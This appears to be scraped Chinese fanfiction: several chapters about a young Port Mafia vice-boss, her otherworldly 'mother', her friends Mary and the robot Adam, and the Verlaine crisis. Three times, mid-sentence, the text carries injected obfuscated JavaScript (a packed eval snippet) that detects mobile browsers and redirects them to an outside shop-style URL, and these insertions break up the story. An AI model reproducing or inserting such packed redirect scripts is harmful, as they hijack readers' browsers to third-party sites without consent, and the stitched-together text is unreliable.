这五年,我脑海里一点动静都没有。在确定我妈失踪的那一刻我慌张得不行,一是为它担心,第六感在告诉我,我妈一定是遇到了什么难缠的东西,比如我妈的某个死对头:二是为我担心,毕竟预言这种能力我是依靠我妈的,它一不在,我就没办法在森鸥外面前继续装下去了,万一货不对板怎么办! 但第二个问题在我十岁半那年解决了。因为我发现我对自己异能的掌握度似乎提高了许多,具体表现为我能自由选择异能发动的方式,比如不是暂停或加快时间,而是选择分支一:窥探未来之事。 就跟那种自动扣款顺序差不多。 这个分支听起来和预言很像,而事实也的确如此。为了不露馅,我还给他起了一个很牛掰的名字——【未来福音】 我可真是个起名小能手啊。 拷问班是红叶姐管理的部门,而尾崎红叶也是港口Mafia目前唯一的女性干部,直属首领和副首领。 这样的干部港-黑有三位,另两位分别是大佐和A。只不过后面那家伙不知道脑袋抽了什么筋,在森鸥外即位后选择背叛组织,最后被处决了。 而大佐当时在出差。期间他只回来过一次,目的仅是为了支持新首领上位,之后便表示想去太平洋对岸看看。 森鸥外和我都答应了他的请求。 所以这么算下来,组织内目前只有红叶姐一个干部。 虽如此,但我很敬重红叶姐。原因之一是,作为组织内唯二的高层女性,我们关系十分亲密,时常会聊一些女性之间的小话题。 至于原因之二,那就是红叶姐拥有十分高超的带孩子的本领。 起码比森鸥外要高得多! 我人生中第一个拥抱就是红叶姐给的,当时我正在和她讲我的孤儿院生活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135667|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾崎红叶将手轻轻放在我肩膀上,歪头问道;“爸爸妈妈?” “是的,红叶姐!”我兴奋地举起双手,“小林阳葵就是这么告诉我的,所以她才这么想被收养,毕竟爸爸妈妈是成长路上的标配!” “听起来很有道理。” “是啊,超级有道理的!”我睁大眼睛,“所以在阳葵被收养的第二天,我就开始找爸爸了。” 说到这里我莫名有些泄气,一想到院长先生前后的变化,我就很不舒服。 尾崎红叶察觉到了我的情绪变化,并没有过问,而是换了一个话题,“小枝,那你很快就适应这里的生活了吗?” “当然了,红叶姐!这里要比孤儿院好一万倍!”我收整好情绪,把两个地方的不同说给她听;“在这里我不用愁如何才能吃饱的问题!我还可以吃到很多新奇的东西,对了红叶姐,你知道钢琴家做的蛋糕很很好吃吗?” “是那个有着浅金色头发的年轻人吧?”尾崎红叶摇头,有些遗憾地说道;“可惜我还没吃过呢。” “那红叶姐我下次带你去尝尝!那里还可以打桌球呢!” 我说完后,尾崎红叶眉眼都舒展开来,笑着点头说道;“好啊。” “还有还有,在这里我可以自由活动,可以跟任何一个人说我是异能者!” 尾崎红叶的表情僵了一瞬,“......自由活动?” “对啊。”我惆怅地叹了一口气,低下头有些闷地说道,“我在跟院长先生说自己是异能者之后就被关起来了,但我还是靠着自己的努力逃了出来!虽然过程有些曲折,但幸好最后我遇见了森鸥外......欸?”我话还没说完,就被抱在怀里轻抚后背了。 虽然对方没说话,但我似乎能感受到她此刻情绪不高。 于是我愣神过后,埋头回抱住。 与人拥抱是一件很幸福的事情,所以当天下午,我见到熟人就抱了上去。其实我最想拥抱的人是我妈,只是它已经消失很久了,也不是人。 但在港口Mafia,大家的反应各有千秋。 整个港-黑大楼飘荡着一种“虽然很怪但毕竟是那位副首领嘛”的奇怪氛围,这让小小的我痛定决心下次要加上用力揉脑袋和拍背的动作! 啊,扯远了。我加快脚步,拐过转角后看见了站在门口的和服女子,心情一下子轻松起来。 “红叶姐!你今天依旧十分美丽!” “哎呀~跑慢一点,小心摔倒哦。” “怎么样,红叶姐,拷问还顺利吗?” “嗯,很顺利,我没怎么用-刑,这家伙就吐出不少东西。”尾崎红叶拍拍我的头,“稍后我会将这些整理成报告。” ......竟然是这副德行吗,总感觉是我妈的概率又增大了呢,和它一点苦都吃不了的样子简直一模一样啊。 我放下心,回应道,“好的,红叶姐。”接着推开门,接过红叶姐带来的手套,戴上后回头笑道,“那我就进去收尾啦~” 与此同时,我发动异能。 时间被定格在此刻,如果我没猜错的话,那么在这个时间停滞的房间里,会出现第二个声音。 9. 关于玛丽和亚当 人生真是处处充满了惊喜。 我进门后站了一会,等到站不住的时候蹲了下去。就在我纠结要不要坐下时,躺在地上一动不动的谷山终于有了反应。 随后,一道男声在空气中响起。 “真是久等了,小枝,我没来晚吧?” 也就是在这一刻,我确定了这家伙就是我妈。 “不晚。”我一边说着,一边将对方扶了起来,开口问道,“这几年你去哪里了?” “唉......”谷山长叹一口气,盯着虚空发呆。 我拍拍地上的尘土,挨着它坐了下来。 过了很久,旁边的人才缓缓开口。 “我被抓回了实验室,”它停顿一下,补充道,“和笔一起。” “实验室竟然还存在吗?” “没错,而且事情更糟糕。”男人露出了十分头疼的表情,“实验室分裂了,根据仅剩的资料分析,另两座实验室即将出现在别的世界中。” 怎么听起来有种不太妙的预感......我皱起眉头,“这件事不会让我解决吧?难道我要穿梭于各个世界之间吗?” 我不想成为魔法少女啊。 “啊,那倒没有,目前我的能力还做不到那种程度呢。”谷山拍拍我的肩膀,语气轻柔,“那是很久之后的任务了,而现在,你有更重要的事情要做。” 不妙的预感越来越强烈了呢,我强颜欢笑,迟疑道,“......是什么?” 对方闻言,深吸一口气:“快来救救你妈!每天和笔那个二货呆在一起我的智商都要下降了!”它的声音激动起来,“这个时间段,你应该收到魏尔伦的战书了吧?你的任务就是要隐藏好自己,帮妈妈脱离苦海啊!” “说了这么多你倒是该告诉我具体该怎么做啊!” “我要是知道还来找你干嘛!”我妈双手捂住脸,失声痛哭起来,“我命苦啊,整天和一个傻-笔呆在一起,命苦啊!” 我:...... 说真的,这家伙真的还是我妈吗,我开始担心自己的未来了。 “别哭了,我知道你很不容易了。”我伸直双腿,双手撑地,抬头看向天花板,决定换个话题聊聊,“你就不能选个好一点的容器嘛,这家伙看起来邋里邋遢的,你是什么时候附身在他身上的?” “有的附身就不错了,要求咋这么高呢!”男人停止了哀嚎,略有思考地说道:“在你异能分支觉醒的那年吧,没想到你的潜力这么大。” “但我不喜欢这个能力。”我喃喃道,“我掌控不好,它似乎只能被动发动,这几年我从来没有主动用过它。” “森鸥外知道吗?” “嗯。”我轻轻点头,忽然想到什么似的问道,“你说我应该坦白一切吗?” 我妈坚定而缓慢地摇头。 我也识趣地闭上嘴,没有继续这个话题。 空气安静了一瞬,短暂的沉默后,我鼓起勇气问道,“你什么时候可以回来?” “这很难说,小枝。谷山润次郎肉-体死亡后我们就要说再见了,毕竟在黑手党眼里他活不过今天。”男人面露无奈,握住我的手,“这个国家对于异能的研究,远比你想得更要残忍与先进。说到底,我们只不过是数百万行冰冷的程序。程序之间会有感应的,只是时机未到。总有一刻你会明白自己是什么,要做什么,以及......”它的声音突然变得遥远起来,像是古神的低语,“未来的你要做什么。” “‘荒霸吐’也是程序吗?” “嗯,它们是比我们更有野性的程序。”我妈话锋一转,“但放心,你不会一个人孤军奋战的。” “啊,我知道啦,港口Mafia会和我一起的。” “不止如此。”我妈轻笑一声,“多个朋友可是多条出路呢,你那位远在英国的小伙伴会加入你的。” 我一愣,有些激动地说道,“你是说玛丽·沃斯通克拉夫特吗?前不久她还告诉我,亚当因多年来的卓越服务被授予了女王警察奖章呢!” “是的哦,亲爱的,祝你好运。”我妈侧身,给了我一个结实的拥抱,它的气息落在我耳边,有些温热。 然后它轻声说道:“我期待和你的再次见面。” 异能消失了。 我回神,自己正站在拷问室的门口,门未关,身后是红叶姐离开的背影。 而面前,是一具没有呼吸的尸体。 我摸了摸下巴。 我就说让我妈选个好一点的容器吧,谷山润次郎浓密的胡渣蹭得下巴很痒啊。 **** 玛丽·沃斯通克拉夫特·雪莱,一个不可貌相的小女孩,她个子不高,是英国民间组织组合的一员。与其他人不同,玛丽不仅是异能者,她还是是一名异能技师。 我和玛丽的相遇还要多亏了太宰治。 那是一个不太美妙的夜晚,睡梦中的我被一通电话吵醒,接通后还没开口,对方就劈头盖脸地把我骂了一顿,然后电话就被挂断了。 我瞬间睡意全无。 要知道没理还要挣三分,我怎么可能无缘无故被骂。于是我雄赳赳气昂昂地打了回去。还没开口,对面的一句“你还有脸打过来?太宰治,你这个大混蛋!”将我堵得哑口无言。 电话又被挂断了。 独留我一个人望着窗外的明月。 是可忍,熟不可忍!我再一次打了回去。我恶狠狠地坐在床上,决定在对方接通的一瞬间就张口告诉对面“我根本不是那个混蛋太宰治!” 结果对面没有接通,而是直接给我挂断了。 我:......? 其实我当时也没有很愤怒,只是意识到作为港-黑的副首领,个人声誉时刻关联着组织的声誉,于是当晚,我便进入了侦探模式。在一番努力下,我终于找到了那串儿电话的IP地址。我连夜起身,快马加鞭地赶了过去。 我和异能技师玛丽·沃斯通克拉夫特就这么愉快地认识了。 亚当·弗兰肯斯坦,是沃斯通克拉夫特博士和欧洲刑事警察机构合力创造出来的自主型计算机机器人,也是该机构的一名优秀警察兼调查官。 关于我和亚当的故事,还是要从那个夜晚说起。 那天晚上我和玛丽在酒吧里买醉,只不过醉的主要是她,毕竟我还未成年。虽然玛丽也是,但我劝不动一个正处于失恋状态的女孩。 玛丽向我哭诉,初到横滨时她是多么开心多么活泼,直到遇见了太宰治。 “他欺骗了你的感情?”我问道,顺手递过去几张纸巾。 “不,”玛丽接过,整张脸被盖住,闷闷道,“那是比欺骗感情更恶劣的事情,他伤害了我的心灵。” “......有什么区别吗?” “当然,前者能随时间消散,后者我却要用一生来缅怀。” “难道......”一道灵光从我脑海里划过,“他骗了你的钱!” 好你个太宰治!这么可怜的小姑娘独自来横滨旅游,你还骗走了她身上的所有钱! 呸!混蛋! 我愤愤地发表着见解,将对方骂了个狗血淋头。直到看见对面的玛丽抽了抽嘴角,说出了下一句话。 “他竟然讨厌小狗,这是对我幼小心灵的巨大伤害!” 当时的我起身就走了,没有任何犹豫,只有深深的后悔。 失策啊失策!我为什么要查那串IP地址! 只不过还没走两步就被玛丽一把拽了回去。 “你为什么离开?作为朋友,你不应该安慰一下我吗?” “......那我现在和你绝交,我们不是朋友了,玛丽。” “不行,我不同意!只要我单方面拒绝,你就永远都是我的朋友!” 好吧,于是我又坐了下来,开始倾听玛丽的悲惨遭遇。 玛丽和太宰治的矛盾很简单。如果要用一句话来概括的话,那就是“太宰治真是混蛋中的混蛋啊。” 我万万没想到他竟然做出了比混蛋还混蛋的事情。 事情是这样的,玛丽来到横滨后,在一家宠物店遇见了鬼鬼祟祟的太宰治。她上前询问太宰是否需要帮助,随后接连拒绝了太宰的殉情邀请。于是太宰提出了另一个请求,希望眼前这位美丽的小姐能帮他购买几袋狗粮。玛丽毫不犹豫地答应了,原来他也是个狗狗爱好者!于是大手一挥就买了五六七八袋狗粮,还让店家包了个巨豪华的礼盒。太宰十分高兴,留下了我的电话号码,和玛丽并排走出宠物店后,就当着她的面撕开袋子,细细品味起来。 “那可是整整一袋狗粮!我很震惊,立刻问他为什么要这样做。你知道他的回答是什么吗?” 我想了想,回答道,“因为好吃?” “你竟然能想出和那个混蛋一样的答案,不愧是我的朋友。”玛丽擦了把眼泪,灌了一大口朗姆酒,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135668|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不理解,没想到这个世界还有人跟小狗抢吃的。于是我就质问他,我说‘你把狗粮都吃了,那你的小狗吃什么?你会做狗狗饭吗?’结果,结果......” 玛丽突然大哭,周围投来几道若有若无的目光。 我给酒保回了一个没事的眼神,上前为玛丽擦拭眼泪,顺便拍拍她的背帮忙顺气。在我的安抚下,玛丽继续讲了下去。 “结果他说他根本不养狗,而且,他也不喜欢小狗!这世上怎么会有人不喜欢狗狗呢?等我反应过来的时候,他已经抱着狗粮消失了。混蛋,大混蛋!” 悲愤交加的玛丽决定大半夜给太宰治打电话,打扰他睡觉。 谁能想到电话号码是我这个倒霉蛋的呢。 故事讲到这里基本就结束了,我也不想吐槽了,只想穿越回去给当时愤怒的自己两个大嘴巴子。 冲动是魔鬼啊冲动是魔鬼! 好在小姑娘情绪来得快去得也快,在一顿鬼哭狼嚎之后,我和她来到了海边。 月光漫过海面,海风拂过,泛起的粼粼微光让我想起了红叶姐温柔的眼神。玛丽拉着我在沙滩坐下,从包里掏出了一个手掌大小的机器人。 这就是亚当。我和他的第一次见面,就定格在这样温柔的月色里。 “小枝,谢谢你愿意倾听我的苦恼。其实我不是游客,我的真实身份是一名异能技师。” 异能技师,上能制作高级计算机,下能改造人体的强大存在,没人敢得罪他们。 太宰那个挂逼除外。 “这是亚当的中枢控制系统,欧洲刑事警察机构查到横滨来了,所以我想来这里看看。”她掂了掂掌心,小亚当捂着脑袋倒了下去。 “调查什么?”我问。 “你不是知道吗?”玛丽反问。 我知道,确切地说,我和太宰都知道。他们正是为了刚加入组织的中也——荒霸吐的存在而来。 愁得我深深叹了口气。 “你不用担心,小枝,我只是需要确定荒霸吐的可控性。”玛丽摸摸我的脑袋继续说道,“我不会打扰他的生活,也不会妨碍到港口Mafia的正常运作。” “我知道。” 接着我们在海边讨论起了亚当的情况。 “我认为亚当应该有一个情感模仿模组。”玛丽说道,“可亚当不想拥有,他认为这个模组会妨碍他的工作。” “感情是人类和机器最大的区别。” “没错,感情是我们和他们最大的区别。”玛丽轻声说道,“所以我应该为亚当编入情感模仿模组。” “喜、怒、哀、嗔——情感才是这个世界上最强大的异能。” 小亚当在此刻站了起来,他拍拍衣服,对我行了个礼。 “你好,小姐!我是刑警亚当·弗兰肯斯坦!” 踢了几个正步后,他又对我行礼。 “我是刑警亚当·弗兰肯斯坦!” 我在玛丽饱含鼓励的眼神中回礼,“你好,刑警先生。我是雪奈霜枝!” “很高兴认识你!霜枝小姐!” “我也是。” 夜晚的海风很凉,月光洒在海面时,随着浪潮的翻滚会碎成星光。 这世上人潮万千,恰巧我们成为了朋友。 这不是缘分,而是在这亿万光年里,我们本就应该是朋友。 咳咳,又扯远了......总之,我知道玛丽最近很忙,因为组合的负责人赫尔曼先生在教新来的小萝卜头规矩,玛丽作为资历比较老的成员自然离不开。这样一来,身为官方军警的亚当就成了最合适且唯一一名能名正言顺前往横滨的人。 当然,这都是我在首领办公室门口遇到亚当时才得知的细节。 “雪奈小姐。”亚当行了一个标准的英国绅士礼,“很高兴再次与您见面。” “呃......”我看着办公室敞开的大门和两旁瑟瑟发抖的安保人员,问道,“亚当,你是怎么进来的?” “这个问题我也想问呢,刑警先生。”森鸥外阴森森的声音从屋内传来,“还有雪奈,你是不是应该给你可怜的老父亲一个解释呢?” “嗯.....”我有些心虚,“你想让我解释什么呢?” “关于这位刑警先生威胁安保人员开门的事情,以及......”森鸥外话音拖长,面色阴沉得能滴出水来,“你和他,在谈恋爱的事情。” 哈?! 10. 关于我的任务 办公室内气压很低。 很显然,这份压抑感主要来源于座位上的那个男人。 “您误会了,森先生。虽然霜枝小姐是最重要的人之一,但本机并没有成为男朋友人选的荣幸。”亚当的数据计算中心仅在0.01秒内就反应了过来,他从西装内侧胸袋里掏出一枚黑色徽章,用彬彬有礼的语气说道,“如您所见,本机是欧洲刑警警察机构协会的刑警,奉命逮捕保罗·魏尔伦。” “啊,原来你是为了这件事而生气吗?”站在门口的我此刻恍然大悟,一脸高兴地看过去,“你放心吧,我要找男朋友肯定会告诉你的,而且如果要结婚的话,一定会让他做上门女婿的,我是不会离开港-黑的。” 毕竟我可是这里的唯一继承人啊! 空气安静下来,但很快被打破了。 “......倒也不是这个意思。”森鸥外僵硬一瞬,别开视线,重重叹气后说道,“算了,你进来吧。”他顿了一下,“当然,还有这位刑警先生。” 这就是默许亚当留下来的意思了。 我开心地转了个圈圈,推着亚当走了进去。 办公室很宽敞,却因三面拔地而起的巨大书墙而显得沉稳内敛,甚至有些压迫感。我曾不止一次向森鸥外吐槽过,但都被后者以这是无边界的知识与谋略的说辞驳回了。 室内唯一的光源来自两张对立红木办公桌后的一整面落地窗,那是正副首领的办公区域。此时处于黄昏,阳光被横滨的天际线切割,斜斜地铺进来,在地毯上投下长长的光暗分界线。 森鸥外就坐在那条光暗线的交界处,亚当在对面。 二者就这么体面且优雅地靠在扶手椅上,留我一个人孤独地坐在冰冷的红木桌子上。 这挨千刀的布局! “真是辛苦你了呢,小枝。”森鸥外一脸歉意地说道,“毕竟这位刑警先生是从英国来的客人啊。” “本机也是霜枝小姐的朋友。”亚当补充道,“而您是她的父亲。” “是啊,”森鸥外摇头,“父亲的担忧总是比朋友的陪伴要考虑得更长远一些。” 空气莫名其妙地安静了下来,然后二者不约而同地看向一旁的我。 我:.....TMD这两个浑身都是心眼子的混账东西! 我跳下桌子,搬来心爱的小沙发,坐上去。 “真是辛苦你了呢,雪奈。” “不辛苦,你再这样我就把你的沙发也搬过来。” “本机会帮助您的,霜枝小姐。” “哪有让客人动手的道理。” “森先生也要来帮忙吗?” “这种事情还是交给雪奈比较好。” “实验表明,处于青春期前的健康女性被试者难以独自搬动重量超过其体重三倍的标准单人沙发。” “如果按照标准款算,那张被她亲自挑来给我放松的天鹅绒沙发可轻得算不上负担。” “好了,安静!你们两个怎么讨论到沙发上面去了?我们不是要说关于魏尔伦的事情吗?” “事情就是这样,森先生。”亚当用严肃的语气讲述了此次拜访的目标:为了确保森鸥外的安全,欧协希望他尽快出国。 亚当:“相比于霜枝小姐,您的处境更危险一些。” “魏尔伦竟然是中也的哥哥啊,怪不得这家伙要毁坏港-黑的资料室......”我握紧拳头,看向沉默的森鸥外,“父亲,那你要怎么办?” 对方在听见这个称呼愣了一下,但很快反应了过来,“放轻松,雪奈,事情确实超出了我的预期,但还能接受。” “你不会要留下来和魏尔伦硬刚吧?你想传位于我的话不用这么费劲心思的。” “......你真是对这件事耿耿于怀呢,雪奈。好了,保持安静。”他比了一个“嘘”的手势,“我已经有思路了,帮我传召太宰君吧。” “哎?他可不是陪你出国的好人选啊。” “我知道。”森鸥外点头,好似想起了什么似的问道,“我记得过几天就是中原中也加入港-黑一周年的纪念日了吧?” “啊,是的,还有三天。”我算算日子,小心翼翼地说道,“你要那天离开吗?” “嗯,和尾崎红叶一起。” 果然是这样啊,我有些失望地叹了一口气。 “知道了,我现在去安排。” 红叶姐又吃不到钢琴家做的蛋糕了,难道要让钢琴家再做个小的让红叶姐带走吗? 我突然想起旗会成员们总是顶着的黑眼圈。 呃...... 还是算了吧,我可不能做跟森鸥外一样的黑心资本家啊。 **** 三天后,新世界球吧—— “哎——什么嘛,中也你的反应真是让我们伤心啊......”身穿黑色外套和白色长裤的浅金发男人放下手枪,发出哀嚎。 钢琴家,一个衣服永远只有黑白两色的男人,同时做得一手好蛋糕。 “喂,说话别带们,容易得罪人啊。”金发青年转着手中的枪,笑得响亮,“明明是你自己打赌输了而已。” 信天翁,一个掌管着港口黑手党所有交通工具的男人。托他的福,中也现在十分擅长游泳。 “什么打赌?”中也问。 “呵呵......当然是你对一周年庆祝会的反应,赌注是钢琴家三个月的工资呢。” 回答他的是一个异常消瘦的男人。男人穿着病服,右手握着输液架。 旗会里的“医生”,与其他人的代号不同,他拥有医学博士学位的头衔,是一名货真价实的医生。 “能做出这样的赌注,你这种脑子是怎么被称为最接近黑手党干部的人的?” “哎呀,别看他输了赌注,其实这小子精着呢。”容貌艳丽的男人从阴影中走出,搭上中也的肩膀,试图用嘲讽的语气说道,可惜他的声音过于温柔,落在其他人耳中反而多了几分赞赏,“输了赌注,赢了副首领的认可,成为干部还不是指日可待吗?” 宣传官,一个现役电影明星,拥有极为可观数量粉丝的男人,在黑手党充当与光明世界进行交涉的角色。 “愚蠢的宣传官......”一道极为平静的声音从更深处传来,穿着不起眼服装的男人站在那里。 冷血,组织内仅次于钢琴家的老资历成员,杀人不用异能,却能霸占黑手党内杀手榜首的男人。 他对中也说,“很显然,钢琴家输了。那么接下来的三个月,你就要和他同吃同住了。” “......喂!凭什么!”中也大喊,“我才不要!” “可钢琴家输了欸。” “和我又有什么关系......好吧,我最多忍受他一个月。算了,还是再多半个月吧。” “好感动......那剩下的日子冷血你能收留我吗?” “......你想都别想。” “我觉得应该从源头上来解决这个问题。” “医生,你的意思是?” “啊!我知道了!源头是钱对吧?钢琴家你要挣点外快吗?” “什么外快能支撑他高昂的日常支出?” “呃......给首领打工?” “拜托了信天翁。你这个脑子该怎么往上爬啊?” “我们还是换一个话题讨论吧,中也,你要来当明星吗?让我们一起作为电影演员,将世界作为目标吧!” “不要......再说一遍,我绝对不要。” “啊......那你该怎么养活自己和钢琴家啊。” “怎么又绕到我这里了!我不是已经答应照顾他一个半月了吗?” “那剩下的一个半月......要不我们去求求副首领吧?” “对哦!你还可以给副首领打工啊!雪奈一定会答应的。” “好主意。” “我赞同。” “信天翁,你这家伙总算是聪明了一回。” “啊?......喂?”唯一清醒的宣传官大为震撼,“打赌是两个人及以上才能完成的活动吧?你们难道忘了吗?赢家就是雪奈啊!” 所有人沉默了下来,不约而同地看向不远处沙发上闭着双眼的白发女孩。 **** 我有些累。 森鸥外和尾崎红叶在早上八点准时离开了横滨。二者走得很潇洒,尤其是红叶姐,全程看起来都很开心的样子,让我严重怀疑这俩不是去工作而是去度假的。 森鸥外接受了欧协的示好,并在写着17条项目的同意书上签了字。作为交换,港-黑会为其改革提供两年资金支持。 当然,这件事目前只有五个人知道。 至于另外两人,分别是伪装成首领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135669|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的广津柳浪和严格执行首领计划的太宰治。 前者倒是十分尽心尽力,在“森鸥外模仿大赛”中获得了全票通过的好成绩。 至于后者......我总感觉这家伙和魏尔伦达成了什么肮脏的交易。 事实的确如此。在对方拿着兰波的手记找上我的时候,我差点发出尖锐爆鸣声。 这个东西明明被我当作陪葬物放进兰波的棺材里了啊! “你怎么会有这个?”我露出一点恰到好处的惊讶,表面上很镇定,内心慌得一批。 “副首领,您认识这个东西吗?”黑发少年瞥了我一眼,问道。 这句话虽然是问句的形式,却带着陈述句的确信语气。 失策了啊! 我顿时汗流浃背,思来想去,脑海里突然划过一个人的名字。 就是你了,院长先生! “我在孤儿院里看见过。”我努力调动着记忆,略带痛苦,慢吞吞地回忆道,“封面......很熟悉,我当时偷看了这个东西,被院长关进了地下室。” 这本手记里并没有我和我妈的记录,“荒霸吐”的相关记载也只有寥寥数页。与之相反,手记的大部分篇幅都在描写兰波和魏尔伦的日常。甚至有几页专门记录了保罗·魏尔伦的背景——这个代号为【黑之12号】的男人。 笔记的最后一页被整页撕去,只在顶部残留着几个依稀可辨的字眼:【温柔森林的秘密】。 鉴于这本手记对我几乎没有构不成威胁,它便在我某次看望中岛敦时被偷了出来,最终安放于兰波的棺中。 这就算是我给兰波的最后一份冬日礼物吧。毕竟这家伙生前格外怕冷,每年冬天,我都会批准他的冬日补给。 所以这本手记怎么会在太宰治手里啊!难道这家伙改行盗-墓去了吗? “是这样吗?”黑发少年似乎信了我的托词,没有深究,平静地点头道,“这本手记,是魏尔伦给我的。” 啊,原来是魏尔伦才是那个盗-墓者啊。 我松了一口气,随后立刻反应了过来,开始尖叫,“等等......魏尔伦?!” “嗯,有什么问题吗?” “问题大了啊......首领知道这件事吗?” “算是知道吧。” “......所以是你们计划中的一环吗。”我放空脑袋,认命般地问道,“那么,需要我做什么?” “做你自己就好了啊,副首领。难道您还有别的任务需要做吗?” 有那么一瞬间,我怀疑自己不是人类的身份已经暴露了。但转念一想,组织内已经有一个明显不是人类的家伙了,太宰治再怎么想也很难怀疑到我头上,心情一下子就放松下来。 “太宰啊,你还记得港口Mafia的三大铁律吧?” “当然啦~绝对服从、严禁背叛、加倍奉还......真是令人怀念又窒息的教条呢。”对方露出一个了然的微笑,用一种“今天天气真好”的语气回应道,“副首领您是在转移话题么?” “如果我点头的话你肯定会说出相当失礼的话,所以我的回答是当然没有。” “欸——那您竟然还怀疑到我头上,真是令人伤心呢。” “你这个样子才是转移话题吧?再说我哪里怀疑你了?”我不紧不慢地从抽屉内拿出一份报销单,“其实我今早刚给后勤部下了道指令,决定把上月超额报销螃蟹的人调去给中也当一周的贴身保镖。” “您还说没有怀疑!再说这不是你的任务吗?” “终于说出来了啊,太宰,你刚才的表现真是相当失礼呢。” “啊!那我这个月还可以报销吗?” “当然——”我拿起笔,快速签上森鸥外的大名,递给太宰后说道,“不可以。” 太宰治:...... 森鸥外的离开给我平白无故加了很多工作,也就是从此刻我才明白自己以前过得是什么好日子。 光是一个太宰治就够让人头疼的了,况且这家伙最近玩心大发,总是让下属猜自己发布了什么任务,导致游击小队的人最近都苦不堪言。 而细算下来,以前的我不仅拥有实权,活儿也很少,首领指哪我打哪,几乎不用动脑思考。 而现在...... 哎,我叹气。 突然不是很想继承港口Mafia了呢。 11. 关于我是如何配合表演的(一) 世界真是一个巨大的草台班子。 钢琴家的手艺依旧稳定发挥,做出的蛋糕给我疲惫的身心带来了莫大的安慰。 看在这个蛋糕的份上,我返还了他一个月的工资。 对方抱着我痛哭流涕。 “太感谢您了,副首领大人!您的善举拯救了一个家庭!” 我用力推开他的额头,“你哪来的家庭?” “就是这里啊!我一个人养着一大家子呢,”钢琴家摊手,转了个圈圈,“等我当上了干部每个月都会给你们发零花钱的!” 宣传官愉快地探出身子,“你就吹吧,钢琴家!” “雪奈,你放心。”面前的金发男人冲我眨眨眼,凑过来小声说道,“到时候你的零花钱一定是最多的。” 竟然如此吗......我有些感动,咽下了那句“其实我的零花钱比你的工资还要多。” “所以......”他有些扭捏,“你能不能答应我一个请求?” 返还你所有的工资吗?当然没问题!我在对方期待的目光中点头,因为感动,声音带着颤音,“你说。” “您能不能直接把我提升为干部?”钢琴家将手中的台球杆往边上一扔,弯腰与我平视,“这样我能少奋斗好几年呢。” “......”果然如此!我就不应该对这家伙抱有希望! 真的是白白浪费了我的感情啊。 话虽如此,但我还是陷入了短暂的沉默。 港-黑确实人手不足,尤其是五大干部常驻的只有红叶姐一人,许多事情都压在她身上没人分担。 干部之位空悬,我这个副首领再凑上去的话纯属是瞎胡闹。 而目前最有潜力的太宰治也未成年。虽然组织内并没有干部必须成年这条规定,但我和森鸥外都一致认为,像太宰这种异能在某方面无敌又似乎无用的家伙,还是得再锻炼两年。 这么一细想下来,钢琴家的请求十分合理。 “嗯,可以。” “哈哈哈哈哈,我就知道雪奈你一定会拒绝的.....欸?可以?你说什么?” “嗯?你不是听见了吗,还要自问自答吗?”我新奇地瞥了他一眼,弯腰捡起球杆,余光中看见对方依旧保持着原姿势,脸上的惊愕一览无余。 “钢琴家?” “哎哎哎哎哎哎——这是真的吗?你没有骗我吧,雪奈?” “我看起来像是喜欢逗你玩的人么?我又不是宣传官那家伙。” “什么嘛,副首领!您怎么还夹带私货呢......看我一杆进洞!” 旁边的台球桌上热热闹闹,我看向还在愣神的钢琴家,决定给他点时间反应,朝另一边走过去。 “等一下,雪奈。”钢琴家拉住我的手腕,表情变得异常严肃了起来。 “......你干嘛?”我被他这副样子弄得忘记了自己下一步要干什么,疑惑地盯着对方的眼睛。 “其实,你能听出来对吧?我其实,刚才是在开玩笑啊,没想到你答应得那么干脆。”对方支支吾吾地说道,“我知道这样说似乎听起来有点不知好歹,但我还是......更希望能凭借自己的努力当上干部......” 钢琴家的声音越来越小,最后那句我几乎挨在他的耳边才能听清。 但事已至此,我再听不出来他的言外之意的话就是傻瓜了。 其实我并不生气,真的。相反的是,我还有一点开心。 毕竟港-黑从来都没有副首领这个职位。而这样的先例却落在了一个只有十四岁的小女孩身上。 我并不像太宰治一样拥有超越年龄的恐怖智慧,也不像中原中也一样拥有绝对的暴力碾压。下属们提到“副首领”三个字时,更多想到的是“首领的女儿”。或者更具体一点的话,就是“那个救港-黑于水火之中的男人的女儿。” 毕竟我的副首领之位还是森鸥外封的呢。 因此,我的行事风格比较随心所欲。我很少带着别人一起完成任务,森鸥外也几乎不会给我派需要动手的任务。在过去的几年里我常常代表港口Mafia和高层们或其他组织的领导人会面,然后用我的随心所欲逼得对方乖乖就范。 我的话在组织内有一定的重量。再加上我和旗会的关系比较要好,钢琴家产生这样的顾虑并不意外。 所以当钢琴家能将自己的真实想法告诉我时,我知道对方是真正的,认真的,把我当作朋友来对待的。 我很开心。 不过...... 这家伙难道看不到自己身上的闪光点吗? 